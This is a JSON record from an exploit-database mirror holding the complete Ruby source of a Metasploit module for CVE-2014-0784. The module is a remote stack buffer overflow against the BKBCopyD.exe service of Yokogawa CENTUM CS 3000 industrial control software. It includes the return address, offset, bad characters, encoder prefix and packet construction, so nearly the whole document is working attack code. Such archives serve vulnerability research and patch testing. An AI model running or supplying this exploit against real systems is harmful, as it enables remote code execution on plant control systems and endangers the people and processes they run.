{"exploit":{"id":"EDB-32210","name":"Yokogawa CENTUM CS 3000 - 'BKBCopyD.exe' Remote Buffer Overflow (Metasploit)","description":"Yokogawa CENTUM CS 3000 - 'BKBCopyD.exe' Remote Buffer Overflow (Metasploit)","cves":["CVE-2014-0784"],"author":"Metasploit","published":"2014-03-12","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/32210","path":"exploits/windows/remote/32210.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-32210.rb","vulnerabilities":[{"id":"CVE-2014-0784","state":"PUBLISHED","title":"Yokogawa CENTUM CS 3000 Stack-based Buffer Overflow","titleSource":"CVE Program","description":"Stack-based buffer overflow in BKBCopyD.exe in Yokogawa CENTUM CS 3000 R3.09.50 and earlier allows remote attackers to execute arbitrary code via a crafted TCP packet.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-0784","cvss":{"version":"2.0","baseScore":8.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:C","source":"icscert","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-0784"},"updatedAt":"2025-09-25T17:25:47.981Z","retrievedAt":"2026-11-27T16:09:05.940Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-32210.png?v=2","url":"https://exploitbin.com/exploits/EDB-32210","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-32210/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-32210/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http//metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::Remote::Tcp\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow',\n      'Description'    => %q{\n        This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability\n        exists in the service BKBCopyD.exe when handling specially crafted packets. This module has\n        been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.\n      },\n      'Author'         =>\n        [\n          'juan vazquez',\n          'Redsadic <julian.vilas[at]gmail.com>'\n        ],\n      'References'     =>\n        [\n          [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],\n          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]\n        ],\n      'Payload'        =>\n        {\n          'Space'          => 373, # 500 for the full RETR argument\n          'DisableNops'    => true,\n          'BadChars'       => \"\\x00\\x0d\\x0a\\xff\",\n          'PrependEncoder' => \"\\x81\\xc4\\x54\\xf2\\xff\\xff\\xff\\xff\" # Stack adjustment # add esp, -3500 # double \\xff char to put it on memory\n        },\n      'DefaultOptions' =>\n        {\n          'EXITFUNC' => 'thread',\n        },\n      'Platform'       => 'win',\n      'Targets'        =>\n        [\n          [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3',\n            {\n              'Ret'    => 0x6404625d, # push esp # ret # libBKBUtil.dll]\n              'Offset' => 123\n            }\n          ],\n        ],\n      'DisclosureDate' => 'Mar 10 2014',\n      'DefaultTarget'  => 0))\n\n    register_options(\n      [\n        Opt::RPORT(20111)\n      ], self.class)\n  end\n\n  def check\n    pkt = build_probe\n    res = send_pkt(pkt)\n    if valid_response?(res)\n      return Exploit::CheckCode::Detected\n    end\n\n    Exploit::CheckCode::Safe\n  end\n\n\n  def exploit\n    data = \"RETR \"\n    data << rand_text(target['Offset'])\n    data << [target.ret].pack(\"V\")\n    data << payload.encoded\n    data << \"\\n\"\n\n    print_status(\"Trying target #{target.name}, sending #{data.length} bytes...\")\n    connect\n    sock.put(data)\n    disconnect\n  end\n\n  def build_probe\n    \"#{rand_text_alpha(10)}\\n\"\n  end\n\n  def send_pkt(data)\n    connect\n    sock.put(data)\n    data = sock.get_once\n    disconnect\n\n    return data\n  end\n\n  def valid_response?(data)\n    return false unless !!data\n    return false unless data =~ /500  'yyparse error': command not understood/\n    return true\n  end\n\nend","sha256":"51e821da0ff3f1f1512162542687adae47898ef050209b022bac9c78fb0697b6","bytes":2778,"fetchedAt":"2026-11-27T16:09:05.834Z","encoding":"utf-8 (display only; download retains original bytes)"}